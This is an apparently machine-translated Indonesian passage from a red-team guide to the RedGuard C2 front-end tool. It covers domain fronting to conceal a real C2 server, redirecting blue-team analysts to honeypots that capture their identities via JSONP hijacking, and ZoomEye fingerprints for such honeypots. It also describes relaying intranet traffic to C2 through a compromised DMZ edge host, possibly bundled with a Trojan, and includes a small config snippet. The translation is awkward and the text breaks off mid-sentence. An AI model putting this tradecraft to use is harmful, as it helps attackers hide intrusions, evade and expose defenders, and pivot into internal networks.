RedGuard mendukung bagian depan Domain. Menurut saya, ada dua bentuk presentasi. Salah satunya adalah dengan menggunakan metode Fronting Domain tradisional, yang dapat dicapai dengan mengatur port proxy terbalik kami di alamat akselerasi back-to-origin seluruh situs. Pada dasarnya, fungsi pengatur lalu lintas ditambahkan ke fronting domain, dan dapat dialihkan ke URL yang ditentukan sesuai dengan pengaturan yang kami atur agar terlihat lebih nyata. Perlu dicatat bahwa pengaturan Redguard dari header host HTTPS harus konsisten dengan nama domain dari akselerasi di seluruh situs.
Dalam satu pertempuran, saya menyarankan bahwa metode di atas dapat digunakan, dan dalam tugas tim, itu juga dapat dicapai dengan "domain fronting" yang dibangun sendiri.
Dalam fronting domain yang dibangun sendiri, simpan beberapa port proxy terbalik yang konsisten, dan header host secara konsisten menunjuk ke port mendengarkan server C2 yang nyata dari backend. Dengan cara ini, server C2 asli kami dapat disembunyikan dengan baik, dan server proxy terbalik hanya dapat membuka port proxy dengan mengkonfigurasi firewall.
Ini dapat dicapai melalui beberapa server node, dan mengkonfigurasi beberapa IP node kami di IP Online HTTPS pendengar CS.
Prinsip perangkap honeypot berbahaya terutama bergantung pada respons pembajakan atau fungsi pengalihan panduan lalu lintas RG, yang memandu analis yang mengevaluasi fasilitas C2 ke alamat kotak pasir honeypot. Di negara respons pembajakan, RG akan mengarahkan lalu lintas meminta yang tidak memenuhi aturan masuk ke aset honeypot. Saat menemukan beberapa honeypot yang lebih kuat (seperti yang menangkap nomor ponsel operator), klien akan memulai permintaan sesuai dengan respons situs target dan dibajak oleh JSONP untuk mendapatkan informasi yang relevan.
Bayangkan bahwa ketika analis secara langsung mengakses port online C2, mereka akan diarahkan ke aset Honeypot, yang tidak diragukan lagi akan menyebabkan gangguan kepada para analis. Para analis diarahkan secara jahat untuk meminta aset Honeypot, dan akhir pemantauan honeypot menangkap informasi yang relevan dari analis tim biru dan melacak kesalahan. Jika target analisis salah dari awal, bagaimana Anda bisa mendapatkan hasil yang baik? Ini tidak diragukan lagi akan menyebabkan gesekan internal yang serius bagi tim pertahanan.
Berikut adalah satu set sidik jari zoomeye yang terkait dengan aset honeypot:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
Cara untuk mencapai efek ini sangat sederhana, Anda hanya perlu mengubah nilai kunci yang relevan dalam file konfigurasi RG.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPs saya percaya semua orang tahu cara mengonfigurasinya tanpa penjelasan :)
Metode ini adalah semacam trik licik, yang lebih tercermin dalam ide tersebut. Jika digunakan lebih lanjut, fungsi penangkapan honeypot dapat digunakan di fasilitas kontrol lalu lintas front-end C2 dan kemudian lalu lintas interaktif dapat diarahkan. Efeknya adalah bahwa data cache browser klien dapat diperoleh seperti honeypot tradisional. Namun, saya pribadi merasa bahwa dalam versi publik, mungkin tidak berarti untuk menerapkannya pada serangan dan konfrontasi pertahanan saat ini. Tidak ada artinya bagi penyerang untuk menangkap informasi sosial Analis Tim Biru dan kemudian melacaknya. Tentu saja, mundur selangkah, ini dapat membuat analisis sampel C2 lebih berbahaya. Ketika penyerang industri hitam dan abu -abu dapat memperoleh identitas virtual analis, jika identitas virtual dan nyata dapat dikonversi, itu masih relatif berbahaya. Jadi saya pikir penelitian dan analisis di masa depan harus lebih berhati -hati dan waspada.
Dalam skenario konfrontasi serangan dan pertahanan, sebagian besar jaringan unit masih merupakan pertahanan berbasis perbatasan. Di sini kami mempertimbangkan skenario di mana server eksternal di area DMZ sering dikonfigurasi dengan kebijakan akses yang relevan di lingkungan bisnis yang normal. Pada saat ini, ketika server eksternal di tepi dapat mengakses jaringan tetapi tidak dapat secara langsung mengakses host intranet, PC atau server terkait di intranet tidak secara langsung mengakses jaringan publik, tetapi dapat mengakses server bisnis di area DMZ, Kemudian saya dapat menggunakan host simpul tepi sebagai simpul RG untuk mentransfer lalu lintas online intranet ke fasilitas C2 kami. Apakah kedengarannya sangat mirip dengan transfer proxy konvensional secara online? Namun, ini hanyalah bentuk tampilan implementasi keterampilan. Mari kita terus melihat lebih banyak tips.
Ketika kami mencatat host tepi selama proses manajemen, dengan asumsi bahwa kami telah mengambil alih izin shell, kami akan menggunakan RG di server ini sebagai simpul front-end kami (dalam skenario aktual, file konfigurasi dikodekan dalam program, dan bahkan Trojan Horse dan RG digabungkan ke dalam program yang sama) .
File konfigurasi adalah sebagai berikut:
Untuk konfigurasi spesifik, kami terutama fokus pada panah. Panah 1 di atas adalah nama domain host untuk interaksi antara host intranet dan simpul tepi . Disarankan untuk mengatur nama domain intranet yang relevan sesuai dengan skenario spesifik dari unit target. Bayangkan interaksi lalu lintas antara dua host di intranet tentang nama domain intranet. Apakah BT memiliki keberanian untuk secara langsung memotong lalu lintas interaktif? Tentu saja, jika mereka dapat menentukan bahwa itu adalah lalu lintas interaktif yang berbahaya. Panah 2 menunjuk ke pengaturan frontend domain konvensional . Pasangan nilai kunci ini, kunci sesuai dengan host online dan nilainya sesuai dengan alamat proxy. Di sini kita dapat mengaturnya ke nama domain https apa pun menggunakan produsen CDN yang sama (CDN node IP juga baik -baik saja, ingatlah untuk membawa http (s): // protokol).
EdgeHost adalah nama domain yang digunakan oleh frontend domain penyedia layanan cloud kami, yang juga merupakan nama domain yang digunakan oleh simpul tepi RG saat berinteraksi dengan C2 melalui node CDN. Ya, RG akan memodifikasi nama domain host dari permintaan yang sah dan memodifikasinya ke nama domain CDN layanan cloud yang dapat berkomunikasi secara normal.
Edgetarget adalah nama domain untuk interaksi intranet, yang harus sama dengan panah 1. Hanya lalu lintas yang diminta oleh nama domain yang ditetapkan di sini oleh host yang akan dianggap sah, dan RG akan lebih lanjut dimodifikasi ke nama domain CDN layanan cloud untuk berikutnya untuk berikutnya komunikasi.
Di sini kami meringkas:
Artinya, interaksi antara simpul tepi dan host di intranet adalah melalui nama domain intranet yang ditetapkan. Apa
